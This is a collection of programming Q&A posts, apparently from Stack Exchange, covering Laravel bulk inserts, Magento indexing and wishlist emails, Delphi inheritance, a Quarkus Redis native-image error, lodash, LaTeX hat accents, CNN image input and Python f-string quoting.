Not 100% sure this works directly on the model. However in the documentation you can find an example with the DB facade.

A: If Eloquent events need to be triggered for whichever reason, and you would like to optimize for the n+1 problem, I would suggest using a transaction. This will still yield n queries, but the database can optimize this via bulk insert (because of the transaction). It has the extra benefit of data consistency (either all inserts succeed, or none of them do).
$result = getResult();

\DB::transaction(function() use ($result) {
    foreach($result as $item) {
        FieldRuleResult::create($item);
    }
});

If you do not care about Eloquent events being triggered, and you just want to "bulk insert", you can use the insert method, as mentioned by Fabian. I would still advise to use a database transaction though, for data consistency.
$result = getResult();

\DB::transaction(function() use ($result) {
    FieldRuleResult::insert($result);
});

In this latter case, if the amount of entries you're about to insert can be "large", you might also want to chunk these inserts. (eg. 100 at a time, rather than all at once)


text:
Q: mui/index/render loading slow, index reindex when I navigate pages in admin A store we look after is experiencing odd behaviour recently.
The admin dashboard is very slow and from what I can figure out, the indexes seem to reindex whenever you navigate to a different page. All indexes are set to Update on Save, which probably doesn't help?
What is the optimal reindex setting?
What is mui/index/render, and what would cause it to load slow?
What can cause the index to reindex when changing page?


text:
Q: How to implement inheritance I have a parent class that can have 2 possible child classes:
  TEmailBaseAccount = class
    Connected: boolean;

    setting: TEmailAccountSettings;
    folders: TEmailAccountFolders;
    procedure Connect; virtual; abstract;
  end;

  TEmailIMAPAccount = class(TEmailBaseAccount)
    IdIMAP4: TIdIMAP4;
    OpenSSLHandler: TIdSSLIOHandlerSocketOpenSSL;

    procedure Connect; override;
  end;

  TlEmailPOP3Account = class(TEmailBaseAccount)
    IdPOP3: TIdIPOP3;
    OpenSSLHandler: TIdSSLIOHandlerSocketOpenSSL;

    procedure Connect; override;
  end;

I'm maintaining a list of the email accounts using a generic TList:
  TEmailAccountList = class(TList<TEmailBaseAccount>)
    procedure SaveToStream(Stream: TStream);
    procedure LoadFromStream(Stream: TStream);
    constructor Create(AOwner: TObject);
    destructor Destroy;
  end;

and adding the email accounts to the list using the following code:
procedure TEmailAccountList.LoadFromStream(Stream: TStream);
var
  a, c: Integer;
  e: TEmailBaseAccount;
begin
  c := ReadStreamInt(Stream);
  for a := 0 to c - 1 do
  begin
    e := TEmailBaseAccount.Create(FOwnerEmailEngine);
    e.LoadFromStream(Stream);
    Add(e);
  end;

end;

procedure TEmailAccountList.SaveToStream(Stream: TStream);
var
  a, c: Integer;
  e: TEmailBaseAccount;
begin
  c := Count;
  WriteStreamInt(Stream, c);
  for a := 0 to Count - 1 do
    Items[a].SaveToStream(Stream);
end;

At runtime I need to differentiate between the 2 types of child classes using something like:
 if account is TEmailIMAPAccount then
  ...
 else if account is TEmailPOP3Account then
  ...

I am sure that my original class declarations and the TList declaration is not suited to this requirement. What changes are needed in this scenario?
TIA.

A: Your type declarations are absolutely fine. Your problem is presumably that when you read an item from the stream, you don't know what type it is. You cannot use is since you don't have an instance yet.
Solve that problem by writing a type code to the stream for each instance. When you read from the stream, read the type code and use that to determine which type to instantiate.
This sort of persistence streaming is so much easier using a persistence framework that emits XML, JSON, YAML etc.

A: Instead of serializing the complete, highly implementation-specific objects, I would only write the account properties (mail account type, user credentials, server / port / security settings) to a file.
This allows to modify the implemenation without breaking existing setting file compatibility.
Also I would not even think about a if <object> is <class> ... else if <object> is <otherclass> ... solution. Instead, define a simple enumeration type TAccountType = (atPOP3, atIMAP) and then branch in a case structure depending on a account type property of the Account, or use the Strategy pattern.


text:
Q: Problem to build native image using Vert.x-redis with Quarkus I got a problem when building my quarkus application in native mode using the vertx-redis-client
I`m trying create a cache class with the methods to connect, set and add. When i use the set and the get method i trying to open a new redis connection.
Using ./mvnw compile quarkus:dev the application run ok. But, when i try to build a native image i receive the error:
Error: No instances of io.netty.buffer.UnpooledByteBufAllocator$InstrumentedUnpooledUnsafeHeapByteBuf are allowed in the image heap as this class should be initialized at image runtime. To see how this object got instantiated use -H:+TraceClassInitialization.
Detailed message:
Trace:  object io.netty.buffer.UnreleasableByteBuf
        object io.vertx.core.buffer.impl.BufferImpl
        object io.vertx.redis.client.impl.types.BulkType
        method io.vertx.redis.client.impl.RESPParser.handle(Buffer)
Call path from entry point to io.vertx.redis.client.impl.RESPParser.handle(Buffer):
        at io.vertx.redis.client.impl.RESPParser.handle(RESPParser.java:51)
        at io.vertx.redis.client.impl.RESPParser.handle(RESPParser.java:25)
        at io.vertx.core.impl.ContextImpl.executeTask(ContextImpl.java:369)
        at io.vertx.core.impl.WorkerContext.lambda$wrapTask$0(WorkerContext.java:35)
        at io.vertx.core.impl.WorkerContext$$Lambda$547/789610232.run(Unknown Source)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
        at java.lang.Thread.run(Thread.java:748)
        at com.oracle.svm.core.thread.JavaThreads.threadStartRoutine(JavaThreads.java:460)
        at com.oracle.svm.core.posix.thread.PosixJavaThreads.pthreadStartRoutine(PosixJavaThreads.java:193)
        at com.oracle.svm.core.code.IsolateEnterStub.PosixJavaThreads_pthreadStartRoutine_e1f4a8c0039f8337338252cd8734f63a79b5e3df(generated:0)

com.oracle.svm.core.util.UserError$UserException: No instances of io.netty.buffer.UnpooledByteBufAllocator$InstrumentedUnpooledUnsafeHeapByteBuf are allowed in the image heap as this class should be initialized at image runtime. To see how this object got instantiated use -H:+TraceClassInitialization.
Detailed message:
Trace:  object io.netty.buffer.UnreleasableByteBuf
        object io.vertx.core.buffer.impl.BufferImpl
        object io.vertx.redis.client.impl.types.BulkType
        method io.vertx.redis.client.impl.RESPParser.handle(Buffer)
Call path from entry point to io.vertx.redis.client.impl.RESPParser.handle(Buffer):
        at io.vertx.redis.client.impl.RESPParser.handle(RESPParser.java:51)
        at io.vertx.redis.client.impl.RESPParser.handle(RESPParser.java:25)
        at io.vertx.core.impl.ContextImpl.executeTask(ContextImpl.java:369)
        at io.vertx.core.impl.WorkerContext.lambda$wrapTask$0(WorkerContext.java:35)
        at io.vertx.core.impl.WorkerContext$$Lambda$547/789610232.run(Unknown Source)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
        at java.lang.Thread.run(Thread.java:748)
        at com.oracle.svm.core.thread.JavaThreads.threadStartRoutine(JavaThreads.java:460)
        at com.oracle.svm.core.posix.thread.PosixJavaThreads.pthreadStartRoutine(PosixJavaThreads.java:193)
        at com.oracle.svm.core.code.IsolateEnterStub.PosixJavaThreads_pthreadStartRoutine_e1f4a8c0039f8337338252cd8734f63a79b5e3df(generated:0)

        at com.oracle.svm.core.util.UserError.abort(UserError.java:75)
        at com.oracle.svm.hosted.FallbackFeature.reportAsFallback(FallbackFeature.java:223)
        at com.oracle.svm.hosted.NativeImageGenerator.runPointsToAnalysis(NativeImageGenerator.java:737)
        at com.oracle.svm.hosted.NativeImageGenerator.doRun(NativeImageGenerator.java:526)
        at com.oracle.svm.hosted.NativeImageGenerator.lambda$run$0(NativeImageGenerator.java:444)
        at java.util.concurrent.ForkJoinTask$AdaptedRunnableAction.exec(ForkJoinTask.java:1386)
        at java.util.concurrent.ForkJoinTask.doExec(ForkJoinTask.java:289)
        at java.util.concurrent.ForkJoinPool$WorkQueue.runTask(ForkJoinPool.java:1056)
        at java.util.concurrent.ForkJoinPool.runWorker(ForkJoinPool.java:1692)
        at java.util.concurrent.ForkJoinWorkerThread.run(ForkJoinWorkerThread.java:157)
Caused by: com.oracle.graal.pointsto.constraints.UnsupportedFeatureException: No instances of io.netty.buffer.UnpooledByteBufAllocator$InstrumentedUnpooledUnsafeHeapByteBuf are allowed in the image heap as this class should be initialized at image runtime. To see how this object got instantiated use -H:+TraceClassInitialization.
Detailed message:
Trace:  object io.netty.buffer.UnreleasableByteBuf
        object io.vertx.core.buffer.impl.BufferImpl
        object io.vertx.redis.client.impl.types.BulkType
        method io.vertx.redis.client.impl.RESPParser.handle(Buffer)
Call path from entry point to io.vertx.redis.client.impl.RESPParser.handle(Buffer):
        at io.vertx.redis.client.impl.RESPParser.handle(RESPParser.java:51)
        at io.vertx.redis.client.impl.RESPParser.handle(RESPParser.java:25)
        at io.vertx.core.impl.ContextImpl.executeTask(ContextImpl.java:369)
        at io.vertx.core.impl.WorkerContext.lambda$wrapTask$0(WorkerContext.java:35)
        at io.vertx.core.impl.WorkerContext$$Lambda$547/789610232.run(Unknown Source)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
        at java.lang.Thread.run(Thread.java:748)
        at com.oracle.svm.core.thread.JavaThreads.threadStartRoutine(JavaThreads.java:460)
        at com.oracle.svm.core.posix.thread.PosixJavaThreads.pthreadStartRoutine(PosixJavaThreads.java:193)
        at com.oracle.svm.core.code.IsolateEnterStub.PosixJavaThreads_pthreadStartRoutine_e1f4a8c0039f8337338252cd8734f63a79b5e3df(generated:0)

        at com.oracle.graal.pointsto.constraints.UnsupportedFeatures.report(UnsupportedFeatures.java:130)
        at com.oracle.graal.pointsto.BigBang.finish(BigBang.java:565)
        at com.oracle.svm.hosted.NativeImageGenerator.runPointsToAnalysis(NativeImageGenerator.java:688)
        ... 7 more

My cache class:
import io.quarkus.runtime.annotations.RegisterForReflection;
import io.vertx.core.Vertx;
import io.vertx.redis.client.Redis;
import io.vertx.redis.client.RedisAPI;
import io.vertx.redis.client.RedisOptions;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import javax.enterprise.context.ApplicationScoped;
import javax.inject.Inject;
import java.util.concurrent.CompletableFuture;

@ApplicationScoped
public class Cache {
    Logger logger = LoggerFactory.getLogger(Cache.class);

    RedisAPI redis;

    @Inject
    Vertx vertx;

    private void verifyConnection() {
        if(redis == null) {
            CompletableFuture<RedisAPI> connectionResult = new CompletableFuture<RedisAPI>();
            Redis.createClient(vertx, new RedisOptions())
                    .connect(onConnect -> {
                        if (onConnect.succeeded()) {
                            Redis client = onConnect.result();
                            connectionResult.complete(RedisAPI.api(client));
                        } else {
                            connectionResult.complete(null);
                        }
                    });
            redis = connectionResult.join();
        }
    }

    public String get (String key) {
        verifyConnection();
        CompletableFuture<String> lambdaResult = new CompletableFuture<>();
        redis.get(key, res -> {
            if (res.succeeded()) {
                if (res.result() != null) {
                    lambdaResult.complete(res.result().toString());
                } else {
                    lambdaResult.complete(null);
                }
            } else {
                lambdaResult.complete(null);
            }
        });

        return lambdaResult.join();
    }

    public void set(String key, String data) {
        verifyConnection();
        redis.append(key, data, res -> {
            if (res.failed()) {
                logger.error("Error to send data to Cache");
            }
        });
    }
}

A: This is a sign that we will probably need an extension to make it work but you can try doing it in your application first by tweaking the GraalVM settings.
You can try making io.vertx.redis.client.impl.RESPParser initializable at runtime. You can check https://quarkus.io/guides/writing-native-applications-tips#delaying-class-initialization for more information about how to do that in your application.
If you end up having it working, please report back on quarkus-dev as we have a Redis extension in the works and your feedback might be useful to the people that will work on it soon.


text:
Q: Remove a list of array items Can you tell me how to remove a list of array items using lodash? I have tried as shown below.But it is not working.
Video about the issue.
  _.remove(previousNumberArray, (a) => {

         _.some(this.removedQuestionCodes, (val, k) => {
            return a.questionCode == val.questionCode;
        });

   });

A: The problem is the bracket {}
for arrow function inside {} should have return
Let's try
  _.remove(previousNumberArray, (a) => _.some(this.removedQuestionCodes, (val, k) => {
       return a.questionCode == val;
  }));

Or
  _.remove(previousNumberArray, (a) => {

         return _.some(this.removedQuestionCodes, (val, k) => {
            return a.questionCode == val;
        });

   });

Let's see my example:

var fruits1 = ['Apple', 'Banana', 'Orange', 'Celery'];

_.remove(fruits1, fruit => {//BRACKET
  //MUST HAVE RETURN KEYWORD
  return _.indexOf(['Apple', 'Banana', 'Orange'], fruit) !== -1
});

var fruits2 = ['Apple', 'Banana', 'Orange', 'Celery'];
_.remove(fruits2, fruit => {//BRACKET
  //DONT HAVE RETURN KEYWORD
  _.indexOf(['Apple', 'Banana', 'Orange'], fruit) !== -1
});

console.log('fruits1',fruits1)

console.log('fruits2', fruits2)
<script src="https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.6.1/lodash.js"></script>


text:
Q: How to share wishlist email from a custom module in Magento2.2.5? I have created a custom module for wishlist, and I need to share email from wishlist which include multiple products in Magento2.2.5?
My Code:
<?php
namespace Emipro\GuestWishlist\Controller\Index;

use Magento\Framework\Mail\Template\TransportBuilder;

class Wishlistemailshare extends \Magento\Framework\App\Action\Action
{
    protected $resultPageFactory;

    protected $scopeConfig;

    protected $_registry;

    protected $request;

    public function __construct(\Magento\Framework\App\Action\Context $context, \Magento\Framework\View\Result\PageFactory $resultPageFactory,\Magento\Framework\App\Config\ScopeConfigInterface $scopeConfig, \Magento\Framework\App\Request\Http $request, TransportBuilder $transportBuilder)
    {

        $this->resultPageFactory = $resultPageFactory;
        $this->_scopeConfig = $scopeConfig;
        $this->request = $request;
        $this->transportBuilder = $transportBuilder;

        parent::__construct($context);
    }

    public function execute()
    {
        //GetProduct details start
       // print_r($_POST);
    //die('AAAAAAAAAAAAAAA');
        $objectManager = \Magento\Framework\App\ObjectManager::getInstance();
        $customerSession = $objectManager->create('Magento\Customer\Model\Session');
        $messageManager = $objectManager->get('Magento\Framework\Message\ManagerInterface');
        $cookieManager = $objectManager->get('Magento\Framework\Stdlib\CookieManagerInterface');
        $getProductId = $cookieManager->getCookie('guestwishlistids');
        $product = explode(',', $getProductId);

        $array_product = array();
        $get_product_details = array();

        $storeManager = $objectManager->get('Magento\Store\Model\StoreManagerInterface');
        $curruncyFactory = $objectManager->create('Magento\Directory\Model\CurrencyFactory');
        $currencyCode = $storeManager->getStore()->getCurrentCurrencyCode();
        $currency = $curruncyFactory->create()->load($currencyCode);
        $currencySymbol = $currency->getCurrencySymbol();
        $cookieId = "";

        foreach ($product as $value)
        {
            if (!empty($value)) {
        $display_button=1;
        $productId = $value;
        $productCollection = $objectManager->create('Magento\Catalog\Model\Product')->load($productId);

        // $imageBlock = $this->getLayout()->createBlock('Magento\Catalog\Block\Product\ListProduct');
        // $productImage = $imageBlock->getImage($productCollection, 'category_page_list');

        $array_product['image'] = $productCollection->getImage();
        $array_product['product_name'] = $productCollection->getName();
        $array_product['sku_id'] = $productCollection->getSku();
        $array_product['get_urlkey'] = $productCollection->getUrlKey();
        $array_product['product_url']=$productCollection->getProductUrl();
        $array_product['price'] = $productCollection->getPriceInfo()->getPrice('final_price')->getMinimalPrice()->getValue();
        echo "
";
        print_r($productCollection);

           }
           array_push($get_product_details,$array_product);
        }
        //die;
        //GetProduct details End

        $getPostVal = $this->getRequest()->getPost();

        $getFromName = isset($getPostVal["from_name"]) ? $getPostVal["from_name"] : '';
        $getFromEmail = isset($getPostVal["from_email"]) ? $getPostVal["from_email"] : '';
        $getToEmail = isset($getPostVal["email_sep"]) ? $getPostVal["email_sep"] : '';
        $messagee = isset($getPostVal["message"]) ? $getPostVal["message"] : '';

        $to_mail_Array = explode(',', $getToEmail);

        $html = '';

        $test_arr = array("test1", "test2", "test3");

        foreach($test_arr as $val)
        {
            $html .= "
";
            $html .= "
 Product Name: ".$val."
";
            $html .= "
";
        }

        $dfssdf = strip_tags($html);

        $requestData['product_content'] = $dfssdf;

        /* Email send to the shared users - Code Start */
        $requestData['product_details'] = $get_product_details;

        $requestData['mail_subj'] = "Amy Wishlist share";

        $requestData['hello_txt'] = "Hey";

        $requestData['mesg'] = "Take a look at my wishlist from Amy.";

        $requestData['message'] = $messagee;

        $postObject = new \Magento\Framework\DataObject();
        $postObject->setData($requestData);

        if(count($to_mail_Array) > 0)
        {
            foreach($to_mail_Array as $val)
            {
                if($val != '')
                {
                    $transport = $this->transportBuilder
                        ->setTemplateIdentifier('wishlist_template')
                        ->setTemplateOptions(['area' => \Magento\Framework\App\Area::AREA_FRONTEND, 'store' => \Magento\Store\Model\Store::DEFAULT_STORE_ID])
                        ->setTemplateVars(['data' => $postObject])
                        ->setFrom(['name' => $getFromName,'email' => $getFromEmail])
                        ->addTo($val)
                        ->getTransport();

                    $transport->sendMessage();
                }
            }
        }

        // $val = "ame@gmail.com";

        // $transport = $this->transportBuilder
        //     ->setTemplateIdentifier('wishlist_template')
        //     ->setTemplateOptions(['area' => \Magento\Framework\App\Area::AREA_FRONTEND, 'store' => \Magento\Store\Model\Store::DEFAULT_STORE_ID])
        //     ->setTemplateVars(['data' => $postObject])
        //     ->setFrom(['name' => $getFromName,'email' => $getFromEmail])
        //     ->addTo($val)
        //     ->getTransport();

        // $transport->sendMessage();

        /* Email send to the shared users - Code Start */

        $this->_redirect('guestwishlist/index/view');
        return;

        // $resultPage = $this->resultPageFactory->create();
        // return  $resultPage;
    }
}

I am just scratching my head from past 4days.
Any help would be appreciated.


text:
Q: \hat too small, \widehat too wide with Kepler font I use the Kepler font in my document. It's a very good font for math but it has an issue typesetting the \hat and \widehat commands: the \hat command produces a very small hat and \widehat produces a hat that is too wide.
Is there a way to adjust the \hat and \widehat size?
Here's my MWE. The attached image displays the output.
\documentclass[12pt,reqno]{amsart}
\usepackage[utf8]{inputenc}
\usepackage[T1]{fontenc}

\usepackage{kpfonts}
\usepackage{textcomp}
\usepackage{amsmath,amsthm,amsxtra}
\usepackage{amssymb}
\usepackage{bm}

\begin{document}
Kepler fonts

$\sigma, \hat{\sigma}, \widehat{\sigma}$

$\varepsilon, \hat{\varepsilon}, \widehat{\varepsilon}$

$a, \hat{a}, \widehat{a}$
\end{document}

A: Just slightly modifying my answer at Really wide hat symbol, \reallywidehat will adjust to the width of the argument.
\documentclass[12pt,reqno]{amsart}
\usepackage[utf8]{inputenc}
\usepackage[T1]{fontenc}

\usepackage{kpfonts}
\usepackage{amsmath,amsthm,amsxtra}
\usepackage{bm}

\usepackage{scalerel,stackengine}
\stackMath
\newcommand\reallywidehat[1]{%
\savestack{\tmpbox}{\stretchto{%
  \scaleto{%
    \scalerel*[\widthof{\ensuremath{#1}}]{\kern.1pt\mathchar"0362\kern.1pt}%
    {\rule{0ex}{\textheight}}%WIDTH-LIMITED CIRCUMFLEX
  }{\textheight}%
}{2.4ex}}%
\stackon[-8.5pt]{#1}{\tmpbox}%
}

\begin{document}
Kepler fonts

$\sigma, \hat{\sigma}, \widehat{\sigma},
\reallywidehat{\sigma}, \reallywidehat{\sigma\sigma\sigma}$

$\varepsilon, \hat{\varepsilon}, \widehat{\varepsilon},
\reallywidehat{\varepsilon},
\reallywidehat{\varepsilon\varepsilon\varepsilon}$

$a, \hat{a}, \widehat{a},
\reallywidehat{a}, \reallywidehat{aaa}$
\end{document}

A: If you can use LuaLaTeX or XeLaTeX, you can use the OTF version of the Kepler fonts, which you might prefer here.
\documentclass[12pt,reqno]{amsart}

\usepackage{kpfonts-otf}
\usepackage{amsthm}

\begin{document}
Kepler fonts

$\sigma, \hat{\sigma}, \widehat{\sigma}$

$\varepsilon, \hat{\varepsilon}, \widehat{\varepsilon}$

$a, \hat{a}, \widehat{abcd}$
\end{document}

If you need to replace symbols from a different OpenType font, there is a standard syntax for that in unicode-math, e.g.:
\setmathfont{STIX Two Math}[Scale = MatchLowercase, range={\hat, \widehat}]

It is possible to get only one accent from a math symbol package in legacy 8-bit LaTeX. Every 8-bit package is different, though.  There is no standard way to do it.


text:
Q: Image Compression Approaches for CNN I have a set of images, which are quite large in size and as such do not easily fit into memory for feeding a CNN. (1000x1000). I'd like to compress and encode these images, such that little information is lost. What is the best approach to handle this issue for CNNs without resorting to downscaling the image and losing a great deal of information?

A: You may use image downsampling to preprocess images before feeding to neural network. (For example AlexNet takes 256*256 RGB as input.)

Note the word "compression" is confusing, because I assume the goal is using neural network to do some classification but not trying to reduce size, and recover later.


text:
Q: I don't understand why using " " in my code works, but the same code with ' ' does not Here is the code I am using:
with open(os.path.join(my_path, 'pastimes.csv'), 'r') as my_file:
    my_file_reader = csv.DictReader(my_file)
    line_count = 0
    for row in my_file_reader:
        if line_count == 0:
            print(f'Column names are {', '.join(row)}')
            line_count += 1
        print(f'{row['Person']} has a favourite pastime of {row['Favourite Pastime']}.')
        line_count += 1

The above does not work, but the below works:
with open(os.path.join(my_path, 'pastimes.csv'), mode='r') as csv_file:
    csv_reader = csv.DictReader(csv_file)
    line_count = 0
    for row in csv_reader:
        if line_count == 0:
            print(f'Column names are {", ".join(row)}')
            line_count += 1
        print(f'{row["Person"]} has a favourite pastime of {row["Favourite Pastime"]}.')
        line_count += 1

I simply can't figure out why!

A: f'Column names are {', '.join(row)}'

In above statement, 'Col ... {' this is one string but in
f'Column names are {", ".join(row)}'

Now 'Col...}' string
Its because string is in between pair of '  and your pair is closing string before actual string ends.
You can also use following
f'Column names are {\', \'.join(row)}'